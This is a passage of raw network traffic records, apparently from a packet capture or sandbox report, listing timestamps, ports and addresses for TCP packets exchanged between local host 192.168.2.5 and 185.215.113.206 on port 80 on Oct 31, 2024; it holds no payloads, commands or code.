Oct 31, 2024 03:04:06.929481030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.929507017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.929519892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.929569006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.929580927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.929755926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.931073904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.931128979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.931164026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.931176901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.931199074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.931212902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.931216955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.931226969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.931238890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.931252956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.931274891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.965986013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966006041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966051102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966064930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966079950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966162920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966177940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966193914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966209888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966269970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966269970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966269970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966316938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966464043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966480017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966494083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966506958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966526985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966531992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966542959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966567993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966592073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966793060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966840982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966847897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966856003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.966883898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.966896057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967116117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967130899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967164040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967175961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967271090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967294931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967310905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967328072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967334986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967344046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967360020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967366934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967375994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967375994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967392921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967396975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967405081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:06.967416048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967439890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:06.967447996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.015933990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.015958071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.016022921 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.016048908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.016055107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.016066074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.016081095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.016092062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.016112089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.016122103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.016136885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.016161919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.046689987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.046730995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.046772003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.046787024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.046799898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.046828032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.048166037 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.048181057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.048196077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.048224926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.048252106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.048258066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.048273087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.048288107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.048305035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.048327923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083090067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083106995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083121061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083139896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083144903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083153963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083158970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083172083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083192110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083209991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083211899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083226919 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083241940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083250046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083266020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083271027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083281040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083304882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083513021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083534002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083549976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083556890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083565950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083576918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083581924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.083591938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.083612919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084014893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084029913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084043980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084060907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084083080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084084034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084099054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084122896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084146976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084274054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084289074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084317923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084330082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084333897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084347963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084362984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084372997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084378004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084387064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084415913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.084948063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084963083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084976912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.084992886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.085017920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.131931067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.132035017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.132049084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.132057905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.132083893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.132100105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.132107973 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.132116079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.132136106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.132158995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.163813114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.163829088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.163837910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.163975000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.164993048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165049076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165054083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.165092945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165095091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.165142059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.165175915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165189028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165203094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165218115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.165230036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.165247917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.165266991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200375080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200409889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200426102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200442076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200458050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200474024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200499058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200510979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200514078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200527906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200542927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200556993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200561047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200573921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200588942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200603008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200628996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200721025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200769901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200771093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200788021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200817108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200820923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200831890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200833082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200848103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.200869083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.200895071 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201195955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201241016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201242924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201256990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201283932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201297045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201323986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201339006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201353073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201370001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201376915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201390028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201392889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201405048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201412916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201438904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201921940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201935053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201951027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.201975107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.201989889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.202033043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.202049017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.202078104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.202105999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.249269962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.249298096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.249315023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.249342918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.249365091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.249402046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.249417067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.249442101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.249469042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.280702114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.280764103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.280780077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.280788898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.280800104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.280802965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.280812979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.280826092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.280848980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.280859947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.282040119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.282063961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.282077074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.282092094 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.282121897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.282186031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.282201052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.282216072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.282232046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.282259941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317267895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317306995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317327023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317333937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317342043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317358971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317361116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317373991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317388058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317414999 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317497015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317519903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317536116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317540884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317564964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317579985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317734003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317764997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317780018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317780972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317795038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317795992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317811966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.317819118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317838907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.317851067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318044901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318088055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318093061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318103075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318124056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318192005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318264961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318285942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318300962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318309069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318315029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318327904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318330050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318345070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318368912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318622112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318638086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318651915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318670034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318695068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318701982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318723917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318737984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318747044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318753958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318769932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318783045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318799019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318802118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318813086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318828106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.318837881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318857908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.318872929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.366131067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.366163969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.366178036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.366193056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.366209030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.366223097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.366312027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.397665024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.397687912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.397702932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.397732019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.397761106 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.399154902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399189949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399203062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.399204969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399219990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399228096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.399249077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399249077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.399265051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.399287939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:07.399291992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399307013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399328947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:07.399332047 CET	49704	80	192.168.2.5	185.215.113.206
